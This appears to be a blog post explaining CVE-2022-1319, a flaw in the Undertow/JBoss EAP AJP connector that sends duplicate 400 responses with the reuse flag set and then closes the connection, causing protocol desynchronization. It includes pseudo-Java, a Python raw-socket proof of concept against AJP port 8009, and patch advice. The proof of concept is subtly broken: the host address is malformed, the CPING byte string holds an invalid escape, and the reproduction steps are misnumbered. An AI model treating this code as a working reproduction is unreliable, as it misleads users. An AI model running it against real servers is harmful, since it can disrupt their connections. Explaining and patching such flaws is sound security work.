Let's break down CVE-2022-1319, a notable flaw discovered in the Undertow web server – the core HTTP engine for Red Hat JBoss EAP 7 and WildFly. In plain terms, this vulnerability appears when the Undertow server, acting as an AJP backend, responds to a malformed client request (triggering a 400 error). Instead of gracefully handling this protocol situation, it actually returns two response packets, keeps its “*connection reusable*” flag set, and then closes the TCP connection. This muddies the states and opens a door to protocol confusion exploits and application failures.

This post will walk you through the vulnerability, show code snippets to help you spot the bug, cite the official references, and provide a reproducible exploit scenario in easy steps.

1. The Vulnerability Explained

How does AJP work?  
AJP (Apache JServ Protocol) is used between web servers (like Apache HTTPD) and application servers (like JBoss EAP/WildFly).

The Flaw:  
- When EAP/Undertow receives a malformed request via AJP, it returns a 400 error response.

Two response packets are sent (instead of one).

- The “*reuse*” flag in those packets is marked true, signaling the client that it can reuse the connection.
- The backend (EAP/Undertow) then closes the TCP connection without warning.

The Result:  
- Proxies or clients, like httpd’s mod_jk/ajp, might *reuse* this connection expecting all is good.
- But when they try to resume using AJP (e.g., sending a CPING and expecting a CPONG), they actually read the leftover response packet—leading the chain into confusion.

This mishandling breaks protocol semantics and can be used to desynchronize communication, cause failing or stuck connections, and possibly hint at ways to exploit backend logic.

2. Code Snippet: What’s Going On?

Let's look at a simplified code snippet highlighting where the logic goes wrong—based on open Undertow source:

// Pseudo-java representing the Undertow AJP connector flow
public void handle400Error(AjpMessage incoming) {
    sendHeaders(400, reuse = true);    // First response packet (with reuse flag)
    sendHeaders(400, reuse = true);    // Second (unnecessary) response packet
    closeConnection();                 // Oops: closes anyway!
}

> Problem:
> The client sees two SEND_HEADERS frames, both with reuse set, but the backend closes the socket!  
> Next client read from this socket grabs wrong leftover data, causing failures or security issues.

3. Exploit Scenario: How to Reproduce

You can exploit this bug by simulating a backend and client connection, causing Undertow/EAP to send double 400 responses, then trying to reuse the connection via AJP protocol:

Initiate an invalid AJP request to EAP (e.g., using a custom script, or misconfigured mod_jk).

2. Catch the 400 error response – observe in packet capture or debug logs, Undertow sends two packets.

Receive wrong response – instead of a CPONG packet, you’ll see the leftover SEND_HEADERS.

*Here’s a toy Python snippet using raw sockets to simulate this:*

import socket

# Connect to Undertow/JBoss EAP's AJP port
s = socket.create_connection(('127...1', 8009))

# Send intentionally malformed AJP packet
s.sendall(b'\x12\x34\x00\x03\x02\x00\x01')  # pseudo-invalid packet

# Receive two response packets (should parse SEND_HEADERS)
resp1 = s.recv(1024)
resp2 = s.recv(1024)

# Now try to send a CPING
s.sendall(b'\x12\x34\x00\x01\xa')  # AJP CPING packet

# Instead of CPONG, get leftover data
wrong_response = s.recv(1024)
print("Received:", wrong_response)

s.close()

Outcome: You will find that after the malformed request, if you try to reuse the connection, you are reading the wrong packet (SEND_HEADERS instead of CPONG). This can cause hangs or readiness check errors in mod_jk or similar integrations.

4. Risk & Real-World Impact

- Protocol Confusion: This is classic protocol desynchronization—an attacker or error can desync state between frontend and backend.

Failed L7 health checks: Health monitors may fail, as they get unexpected packets.

- Potential for further exploitation: State confusion bugs at protocol boundaries have, in other situations, led to request smuggling or privilege boundary escapes.

5. Patch & Mitigation

Red Hat issued fixes for this problem in EAP 7, Undertow, and WildFly. The patch ensures that only one SEND_HEADERS is sent, the reuse flag is not set erroneously when closing, and the connection is correctly torn down.

References

- Red Hat Security Advisory
- Undertow Issue Tracker: UNDERTOW-2012
- WildFly Security Patch
- NVD Entry - CVE-2022-1319

Mitigation:  
If you use JBoss EAP or WildFly with AJP and have not patched recently, update immediately. Networks hosting these servers should limit AJP to trusted frontends only.

6. Conclusion

CVE-2022-1319 shows that even small bugs—like duplicate packets or misplaced flags—can have big consequences at protocol boundaries. If you use Undertow or JBoss EAP in production, audit your AJP connections, patch ASAP, and always shield AJP from direct internet access.

Timeline

Published on: 08/31/2022 16:15:00 UTC
Last modified on: 11/07/2022 19:09:00 UTC